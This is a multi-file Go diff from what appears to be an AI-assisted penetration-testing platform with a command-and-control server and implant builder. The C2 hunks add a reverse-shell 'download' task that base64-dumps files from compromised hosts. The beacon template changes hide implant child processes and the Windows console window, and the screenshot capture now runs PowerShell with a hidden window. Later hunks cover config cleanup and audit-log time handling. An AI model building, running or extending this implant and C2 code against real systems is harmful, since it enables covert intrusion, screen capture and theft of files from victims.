@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
 	}
 	prefix := l.cfg.BeaconFilePath
 	taskID := strings.TrimPrefix(r.URL.Path, prefix)
+	taskID = strings.TrimSuffix(taskID, ".bin")
 	if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
 		l.disguisedReject(w)
 		return

internal/c2/listener_http_test.go

@@ -2,10 +2,12 @@ package c2
 
 import (
 	"bytes"
+	"encoding/base64"
 	"encoding/json"
 	"io"
 	"net"
 	"net/http"
+	"os"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
 		}
 	})
 }
+
+func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "c2.sqlite")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	lnPick, err := net.Listen("tcp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	port := lnPick.Addr().(*net.TCPAddr).Port
+	_ = lnPick.Close()
+
+	keyB64, err := GenerateAESKey()
+	if err != nil {
+		t.Fatal(err)
+	}
+	token := "test-implant-token-file"
+
+	lid := "l_testhttpfile01"
+	rec := &database.C2Listener{
+		ID:            lid,
+		Name:          "t",
+		Type:          string(ListenerTypeHTTPBeacon),
+		BindHost:      "127.0.0.1",
+		BindPort:      port,
+		EncryptionKey: keyB64,
+		ImplantToken:  token,
+		Status:        "stopped",
+		ConfigJSON:    `{"beacon_file_path":"/file/"}`,
+		CreatedAt:     time.Now(),
+	}
+	if err := db.CreateC2Listener(rec); err != nil {
+		t.Fatal(err)
+	}
+
+	store := filepath.Join(tmp, "c2store")
+	m := NewManager(db, zap.NewNop(), store)
+	m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
+	if _, err := m.StartListener(lid); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = m.StopListener(lid) })
+
+	fileID := "f_testfile123"
+	downDir := filepath.Join(store, "downstream")
+	if err := os.MkdirAll(downDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	want := []byte("upload-payload-bytes")
+	if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	base := "http://127.0.0.1:" + strconv.Itoa(port)
+	client := &http.Client{Timeout: 5 * time.Second}
+
+	for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
+		t.Run(path, func(t *testing.T) {
+			req, _ := http.NewRequest(http.MethodGet, base+path, nil)
+			req.Header.Set("X-Implant-Token", token)
+			resp, err := client.Do(req)
+			if err != nil {
+				t.Fatal(err)
+			}
+			defer resp.Body.Close()
+			if resp.StatusCode != http.StatusOK {
+				b, _ := io.ReadAll(resp.Body)
+				t.Fatalf("status=%d body=%q", resp.StatusCode, b)
+			}
+			raw, err := io.ReadAll(resp.Body)
+			if err != nil {
+				t.Fatal(err)
+			}
+			plain, err := DecryptAESGCM(keyB64, string(raw))
+			if err != nil {
+				t.Fatal(err)
+			}
+			var out struct {
+				FileData string `json:"file_data"`
+			}
+			if err := json.Unmarshal(plain, &out); err != nil {
+				t.Fatal(err)
+			}
+			got, err := base64.StdEncoding.DecodeString(out.FileData)
+			if err != nil {
+				t.Fatal(err)
+			}
+			if !bytes.Equal(got, want) {
+				t.Fatalf("got %q want %q", got, want)
+			}
+		})
+	}
+}

internal/c2/listener_tcp.go

@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
 		return
 	}
 	cleaned := cleanShellOutput(output, cmd)
+	if TaskType(env.TaskType) == TaskTypeDownload {
+		if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
+			l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
+			return
+		}
+	}
 	l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
 }
 
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
 }
 
 // buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
-// 仅支持 TCP 反弹模式可直接执行的最简任务类型；upload/download/screenshot 这些
-// 需要二进制传输的能力建议使用 http_beacon。
+// 仅支持 TCP 反弹模式可直接执行的最简任务类型；download 通过 base64 输出文本结果，
+// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
 func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
 	switch t {
 	case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
 			return "", false
 		}
 		return "cd " + shellQuote(path) + " && pwd", true
+	case TaskTypeDownload:
+		path, _ := payload["remote_path"].(string)
+		if strings.TrimSpace(path) == "" {
+			return "", false
+		}
+		q := shellQuote(path)
+		return fmt.Sprintf(
+			`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
+			q,
+		), true
 	case TaskTypeExit:
 		return "exit 0", true
 	}
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
 	return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
 }
 
+// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
+func detectDownloadShellError(output string) string {
+	trimmed := strings.TrimSpace(output)
+	if trimmed == "" {
+		return ""
+	}
+	lower := strings.ToLower(trimmed)
+	markers := []string{
+		"c2_download_err:",
+		"no such file",
+		"permission denied",
+		"is a directory",
+		"cannot open",
+		"not a regular file",
+	}
+	for _, m := range markers {
+		if strings.Contains(lower, m) {
+			return trimmed
+		}
+	}
+	return ""
+}
+
 func isAddrInUse(err error) bool {
 	if err == nil {
 		return false

internal/c2/listener_tcp_download_test.go

@@ -0,0 +1,43 @@
+package c2
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestDetectDownloadShellError(t *testing.T) {
+	tests := []struct {
+		name   string
+		output string
+		want   string
+	}{
+		{name: "empty ok", output: "", want: ""},
+		{name: "base64 ok", output: "aGVsbG8=", want: ""},
+		{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
+		{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
+		{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := detectDownloadShellError(tt.output)
+			if got != tt.want {
+				t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBuildTCPCommandDownload(t *testing.T) {
+	cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
+		"remote_path": "/tmp/demo.txt",
+	})
+	if !ok {
+		t.Fatal("expected download command to be supported")
+	}
+	if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
+		t.Fatalf("command %q should contain %q", cmd, want)
+	}
+	if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
+		t.Fatalf("command should validate file before base64: %q", cmd)
+	}
+}

internal/c2/manager.go

@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
 		status = string(TaskFailed)
 	}
 	duration := endedAt.Sub(startedAt).Milliseconds()
+
+	sessionOS := ""
+	if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
+		sessionOS = sess.OS
+	}
+	resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
+	errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
+
 	upd := database.C2TaskUpdate{
 		Status:      &status,
-		ResultText:  &report.Output,
-		Error:       &report.Error,
+		ResultText:  &resultText,
+		Error:       &errText,
 		StartedAt:   &startedAt,
 		CompletedAt: &endedAt,
 		DurationMS:  &duration,
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
 		return err
 	}
 	t.Status = status
-	t.ResultText = report.Output
-	t.Error = report.Error
+	t.ResultText = resultText
+	t.Error = errText
 
 	level := "info"
 	msg := fmt.Sprintf("任务完成: %s", t.TaskType)

internal/c2/payload_builder.go

@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 	}
 	f.Close()
 
+	// 平台相关辅助源文件（如无窗口子进程）
+	for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
+		helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
+		helperData, readErr := os.ReadFile(helperSrc)
+		if readErr != nil {
+			return nil, fmt.Errorf("read helper %s: %w", name, readErr)
+		}
+		if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
+			return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
+		}
+	}
+
 	// 交叉编译
 	binName := strings.TrimSpace(in.OutputName)
 	if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 		return nil, fmt.Errorf("mkdir output: %w", err)
 	}
 
-	absSrcPath, err := filepath.Abs(srcPath)
-	if err != nil {
-		return nil, fmt.Errorf("abs source path: %w", err)
-	}
 	absBinPath, err := filepath.Abs(binPath)
 	if err != nil {
 		return nil, fmt.Errorf("abs output path: %w", err)
 	}
-	cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
+	ldflags := "-s -w -buildid="
+	if goos == "windows" {
+		// 无控制台窗口运行 beacon 本体
+		ldflags += " -H windowsgui"
+	}
+	cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
 	cmd.Env = append(os.Environ(),
 		"GOOS="+goos,
 		"GOARCH="+goarch,

internal/c2/payload_templates/beacon.go.tmpl

@@ -45,6 +45,7 @@ import (
 	"strings"
 	"sync"
 	"time"
+	"unicode/utf8"
 )
 
 // 编译期注入常量（text/template 替换）
@@ -101,7 +102,9 @@ type TaskReport struct {
 	TaskID     string `json:"task_id"`
 	Success    bool   `json:"success"`
 	Output     string `json:"output,omitempty"`
+	OutputB64  string `json:"output_b64,omitempty"`
 	Error      string `json:"error,omitempty"`
+	ErrorB64   string `json:"error_b64,omitempty"`
 	BlobBase64 string `json:"blob_b64,omitempty"`
 	BlobSuffix string `json:"blob_suffix,omitempty"`
 	StartedAt  int64  `json:"started_at"`
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
 	defer func() { tcpTaskConn = nil }()
 	start := time.Now()
 	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
-	report := TaskReport{
-		TaskID:     env.TaskID,
-		Success:    errMsg == "",
-		Output:     output,
-		Error:      errMsg,
-		BlobBase64: blobB64,
-		BlobSuffix: blobSuffix,
-		StartedAt:  start.UnixMilli(),
-		EndedAt:    time.Now().UnixMilli(),
-	}
+	report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
 	tcpReportResult(conn, report)
 }
 
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
 	if tcpTaskConn != nil {
 		return tcpFetchEncryptedFile(tcpTaskConn, fileID)
 	}
-	url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
+	// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取；URL 路径应为 /file/<file_id>，勿重复 .bin
+	url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
 	req, _ := http.NewRequest("GET", url, nil)
 	req.Header.Set("User-Agent", userAgent)
 	req.Header.Set("X-Implant-Token", implantToken)
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
 	return gcm.Open(nil, nonce, ct, nil)
 }
 
+func encodeReportText(s string) (plain, b64 string) {
+	if s == "" {
+		return "", ""
+	}
+	b := []byte(s)
+	if utf8.Valid(b) {
+		return s, ""
+	}
+	return "", base64.StdEncoding.EncodeToString(b)
+}
+
+func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
+	outText, outB64 := encodeReportText(output)
+	errText, errB64 := encodeReportText(errMsg)
+	return TaskReport{
+		TaskID:     taskID,
+		Success:    errMsg == "",
+		Output:     outText,
+		OutputB64:  outB64,
+		Error:      errText,
+		ErrorB64:   errB64,
+		BlobBase64: blobB64,
+		BlobSuffix: blobSuffix,
+		StartedAt:  start.UnixMilli(),
+		EndedAt:    end.UnixMilli(),
+	}
+}
+
 func handleTaskAsync(env TaskEnv) {
 	defer func() { _ = recover() }()
 	start := time.Now()
 	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
-	report := TaskReport{
-		TaskID:     env.TaskID,
-		Success:    errMsg == "",
-		Output:     output,
-		Error:      errMsg,
-		BlobBase64: blobB64,
-		BlobSuffix: blobSuffix,
-		StartedAt:  start.UnixMilli(),
-		EndedAt:    time.Now().UnixMilli(),
-	}
+	report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
 	reportResult(report)
 }
 
@@ -715,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
 		timeoutSec = 60
 	}
 	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()
@@ -890,12 +905,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
 	return "killed", "", "", ""
 }
 
+func normalizeRemotePath(p string) string {
+	p = strings.TrimSpace(p)
+	if p == "" || runtime.GOOS != "windows" {
+		return p
+	}
+	// 控制台可能下发 /d:/path/file（Unix 风格），Windows 需转为 d:\path\file
+	p = strings.ReplaceAll(p, "\\", "/")
+	if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
+		p = p[1:]
+	}
+	return filepath.FromSlash(p)
+}
+
 func taskUpload(payload map[string]interface{}) (string, string, string, string) {
 	remotePath, _ := payload["remote_path"].(string)
 	fileID, _ := payload["file_id"].(string)
 	if remotePath == "" || fileID == "" {
 		return "", "", "", "remote_path or file_id empty"
 	}
+	remotePath = normalizeRemotePath(remotePath)
 	data, err := fetchC2FileByID(fileID)
 	if err != nil {
 		return "", "", "", err.Error()
@@ -931,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
 		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
 	case "windows":
 		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
-		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
+		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
 	default:
 		return "", "", "", "screenshot not supported on " + runtime.GOOS
 	}
@@ -1172,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
 		cmdArgs = strings.Fields(args)
 	}
 	cmd := exec.Command(tmpFile, cmdArgs...)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()

internal/c2/payload_templates/proc_hide_unix.go.tmpl

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	_ = cmd
+}

internal/c2/payload_templates/proc_hide_windows.go.tmpl

@@ -0,0 +1,18 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	// 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时
+	// syscall.CREATE_NO_WINDOW 常量不可用。
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+}

internal/c2/types.go

@@ -209,7 +209,9 @@ type TaskResultReport struct {
 	TaskID     string `json:"task_id"`
 	Success    bool   `json:"success"`
 	Output     string `json:"output,omitempty"`
+	OutputB64  string `json:"output_b64,omitempty"` // 原始控制台字节（base64），避免 JSON 破坏非 UTF-8 输出
 	Error      string `json:"error,omitempty"`
+	ErrorB64   string `json:"error_b64,omitempty"`
 	BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
 	BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
 	StartedAt  int64  `json:"started_at"`

internal/config/config.go

@@ -72,10 +72,12 @@ type MultiAgentConfig struct {
 	BatchUseMultiAgent     bool   `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
 	// Orchestration 已弃用：保留仅兼容旧版 config.yaml；编排由聊天/WebShell 请求体 orchestration 决定，未传时按 deep。
 	Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
-	MaxIteration  int    `yaml:"max_iteration" json:"max_iteration"` // 主代理 / 执行器最大推理轮次（Deep、Supervisor、plan_execute 的 Executor）
+	// MaxIteration 已废弃：统一使用 agent.max_iterations（YAML 中保留字段仅为兼容旧配置，运行时不读取）。
+	MaxIteration int `yaml:"max_iteration,omitempty" json:"max_iteration,omitempty"`
 	// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限；0 表示用 Eino 默认 10。
-	PlanExecuteLoopMaxIterations int    `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
-	SubAgentMaxIterations        int    `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
+	PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
+	// SubAgentMaxIterations 已废弃：子代理与主代理均使用 agent.max_iterations（Markdown max_iterations>0 可覆盖）。
+	SubAgentMaxIterations int `yaml:"sub_agent_max_iterations,omitempty" json:"sub_agent_max_iterations,omitempty"`
 	WithoutGeneralSubAgent       bool   `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
 	WithoutWriteTodos            bool   `yaml:"without_write_todos" json:"without_write_todos"`
 	OrchestratorInstruction      string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
@@ -229,7 +231,7 @@ type MultiAgentEinoMiddlewareConfig struct {
 	PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"`
 	// Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
 	ReductionEnable       bool     `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
-	ReductionRootDir      string   `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // default: os temp + conversation id
+	ReductionRootDir      string   `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // 非空：落盘根目录（默认 tmp/reduction）；其下按 projects/{id} 或 conversations/{id} 隔离
 	ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
 	ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
 	ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
@@ -238,6 +240,8 @@ type MultiAgentEinoMiddlewareConfig struct {
 	SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
 	// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
 	SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
+	// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
+	SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
 	// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
 	PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
 	// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
@@ -589,10 +593,8 @@ type DatabaseConfig struct {
 }
 
 type AgentConfig struct {
-	MaxIterations        int    `yaml:"max_iterations" json:"max_iterations"`
-	LargeResultThreshold int    `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值（字节），默认50KB
-	ResultStorageDir     string `yaml:"result_storage_dir" json:"result_storage_dir"`         // 结果存储目录，默认tmp
-	ToolTimeoutMinutes   int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"`     // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
+	MaxIterations      int    `yaml:"max_iterations" json:"max_iterations"`
+	ToolTimeoutMinutes int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
 	// SystemPromptPath 单代理系统提示 Markdown/文本文件路径（相对 config.yaml 所在目录，或可写绝对路径）。非空且可读时替换内置单代理提示；留空用内置。
 	SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"`
 }

internal/config/vision.go

@@ -15,8 +15,7 @@ type VisionConfig struct {
 	JPEGQuality     int      `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
 	MaxPayloadBytes          int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
 	SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩；默认 2MB 且长边已<=max_dimension 时原图直传
-	Detail                   string   `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
-	AllowedRoots    []string `yaml:"allowed_roots,omitempty" json:"allowed_roots,omitempty"`
+	Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
 }
 
 func (v VisionConfig) TimeoutSecondsEffective() int {

internal/database/attackchain.go

@@ -77,7 +77,7 @@ func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, er
 		SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
 		FROM attack_chain_nodes
 		WHERE conversation_id = ?
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 	`
 
 	rows, err := db.Query(query, conversationID)
@@ -123,7 +123,7 @@ func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, er
 		SELECT id, source_node_id, target_node_id, edge_type, weight
 		FROM attack_chain_edges
 		WHERE conversation_id = ?
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 	`
 
 	rows, err := db.Query(query, conversationID)

internal/database/audit.go

@@ -69,12 +69,12 @@ func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
 		args = append(args, filter.ResourceID)
 	}
 	if filter.Since != nil {
-		conditions = append(conditions, "created_at >= ?")
-		args = append(args, *filter.Since)
+		conditions = append(conditions, sqliteEpochGE("created_at", ">="))
+		args = append(args, formatSQLiteUTC(*filter.Since))
 	}
 	if filter.Until != nil {
-		conditions = append(conditions, "created_at <= ?")
-		args = append(args, *filter.Until)
+		conditions = append(conditions, sqliteEpochGE("created_at", "<="))
+		args = append(args, formatSQLiteUTC(*filter.Until))
 	}
 	if q := strings.TrimSpace(filter.Query); q != "" {
 		like := "%" + q + "%"
@@ -93,7 +93,9 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
 		return errors.New("audit id is required")
 	}
 	if row.CreatedAt.IsZero() {
-		row.CreatedAt = time.Now()
+		row.CreatedAt = time.Now().UTC()
+	} else {
+		row.CreatedAt = row.CreatedAt.UTC()
 	}
 	if strings.TrimSpace(row.Level) == "" {
 		row.Level = "info"
@@ -111,7 +113,7 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
 		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
 	`
 	_, err := db.Exec(query,
-		row.ID, row.CreatedAt, row.Level, row.Category, row.Action, row.Result,
+		row.ID, formatSQLiteUTC(row.CreatedAt), row.Level, row.Category, row.Action, row.Result,
 		row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
 		row.ResourceType, row.ResourceID, row.Message, detailJSON,
 	)
@@ -202,7 +204,7 @@ func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
 
 // DeleteAuditLogsBefore removes rows older than cutoff.
 func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
-	res, err := db.Exec(`DELETE FROM audit_logs WHERE created_at < ?`, cutoff)
+	res, err := db.Exec(`DELETE FROM audit_logs WHERE `+sqliteEpochGE("created_at", "<"), formatSQLiteUTC(cutoff))
 	if err != nil {
 		return 0, err
 	}

internal/database/audit_time_test.go

@@ -0,0 +1,62 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+func TestBuildAuditLogsWhere_timeFilterSQL(t *testing.T) {
+	since := time.Date(2026, 6, 16, 17, 2, 0, 0, time.UTC)
+	until := time.Date(2026, 6, 17, 3, 3, 0, 0, time.UTC)
+	where, args := buildAuditLogsWhere(ListAuditLogsFilter{Since: &since, Until: &until})
+	if !strings.Contains(where, "strftime('%s', created_at) >=") {
+		t.Fatalf("expected epoch comparison for since, got %q", where)
+	}
+	if !strings.Contains(where, "strftime('%s', created_at) <=") {
+		t.Fatalf("expected epoch comparison for until, got %q", where)
+	}
+	if len(args) != 2 {
+		t.Fatalf("expected 2 time args, got %d", len(args))
+	}
+	for i, arg := range args {
+		s, ok := arg.(string)
+		if !ok || s == "" {
+			t.Fatalf("arg %d: want non-empty UTC RFC3339 string, got %v", i, arg)
+		}
+	}
+}
+
+func TestListAuditLogs_timeFilterMixedStorageFormats(t *testing.T) {
+	root, err := os.Getwd()
+	if err != nil {
+		t.Skip(err)
+	}
+	dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
+	if _, err := os.Stat(dbPath); err != nil {
+		t.Skip("conversations.db not found")
+	}
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer db.Close()
+
+	since, _ := ParseRFC3339Time("2026-06-16T17:02:00Z")
+	until, _ := ParseRFC3339Time("2026-06-17T03:03:00Z")
+	filter := ListAuditLogsFilter{Since: &since, Until: &until, Limit: 50}
+	logs, err := db.ListAuditLogs(filter)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, row := range logs {
+		at := row.CreatedAt.UTC()
+		if at.Before(since) || at.After(until) {
+			t.Fatalf("log %s at %s outside [%s, %s]", row.ID, at, since, until)
+		}
+	}
+}

internal/database/batch_task.go

@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
 // GetBatchTasks 获取批量任务队列的所有任务
 func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
 	rows, err := db.Query(
-		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
+		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
 		queueID,
 	)
 	if err != nil {

internal/database/c2.go

@@ -840,7 +840,7 @@ func (db *DB) PopQueuedC2Tasks(sessionID string, limit int) ([]*C2Task, error) {
 			created_at
 		FROM c2_tasks
 		WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 		LIMIT ?
 	`
 	rows, err := tx.Query(query, sessionID, limit)

internal/database/conversation.go

@@ -361,6 +361,27 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
 	return &conv, nil
 }
 
+// CountConversations 统计对话数量。
+func (db *DB) CountConversations(search string) (int, error) {
+	var count int
+	var err error
+	if search != "" {
+		searchPattern := "%" + search + "%"
+		err = db.QueryRow(
+			`SELECT COUNT(*) FROM conversations c
+			 WHERE c.title LIKE ?
